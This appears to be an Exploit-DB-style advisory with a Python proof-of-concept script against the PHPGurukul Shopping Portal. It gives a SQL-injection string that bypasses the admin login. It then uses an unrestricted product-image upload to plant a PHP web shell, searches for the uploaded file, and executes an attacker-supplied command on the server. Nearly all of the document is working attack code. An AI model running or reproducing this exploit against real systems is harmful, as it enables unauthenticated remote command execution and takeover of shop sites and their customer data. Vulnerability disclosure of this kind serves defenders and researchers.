|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80  |  # Exploit Title: Shopping Portal ProVersion 3.0 - Authentication Bypass # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/shopping-portal-free-download/ # Version: v4.0 # Category: Webapps # Tested on: Xampp for Windows # Description: # Password and username parameters have sql injection vulnerability on admin panel. # username: joke' or '1'='1'# , password: joke' or '1'='1'# # Also, there isn't any restriction for malicious file uploading in the "Insert Product" section. # This two vulnerabilities occur unauthenticated remote command execution. #!/usr/bin/python import requests import sys import urllib if (len(sys.argv) !=3) or sys.argv[1] == "-h":  print "[*] Usage: PoC.py rhost/rpath command"  print "[*] e.g.: PoC.py 127.0.0.1/shopping ipconfig"  exit(0)  rhost = sys.argv[1] command = sys.argv[2] url = "http://"+rhost+"/admin/index.php" data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""} with requests.Session() as session:  #login  lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})  print ("[*] Status code for login: %s"%lg.status_code)  if lg.status_code != 200:  print ("One bad day! Check web application path!")  sys.exit()  #upload file  files = {'productimage1': ('command.php', '<?php system($_GET["cmd"]); ?>'), 'productimage2': ('joke.txt', 'joke'), 'productimage3': ('joke.txt', 'joke')}  fdata = {"category": "3", "subcategory": "8", "productName": "the killing joke", "productCompany": "blah", "productpricebd": "0", "productprice": "0", "productDescription": "blah<br>", "productShippingcharge": "0", "productAvailability": "In Stock", "productimage1": "command.php", "productimage2": "joke.txt", "productimage3": "joke.txt", "submit": ""}  furl = "http://"+rhost+"/admin/insert-product.php"  fupload = session.post(url=furl, files=files, data=fdata)  print ("[*] Status code for file uploading: %s"%fupload.status_code)  if fupload.status_code != 200:  print ("One bad day! File didn't upload.")  sys.exit()  dir = 0  dirr = str(dir)  #find uploaded file  while True:  el = eurl = session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php")   if el.status_code == 200:  print "File Found!"  print "Put On A Happy Face!\r\n\r\n"  print ("uploaded file location: http://%s/admin/prductimages/%s/command.php?id=%s"%(rhost,dirr,command))  break  else:   print "trying to find uploaded file..."  dir += 1  dirr = str(dir) #exec final=session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php?cmd="+command) print final.text  |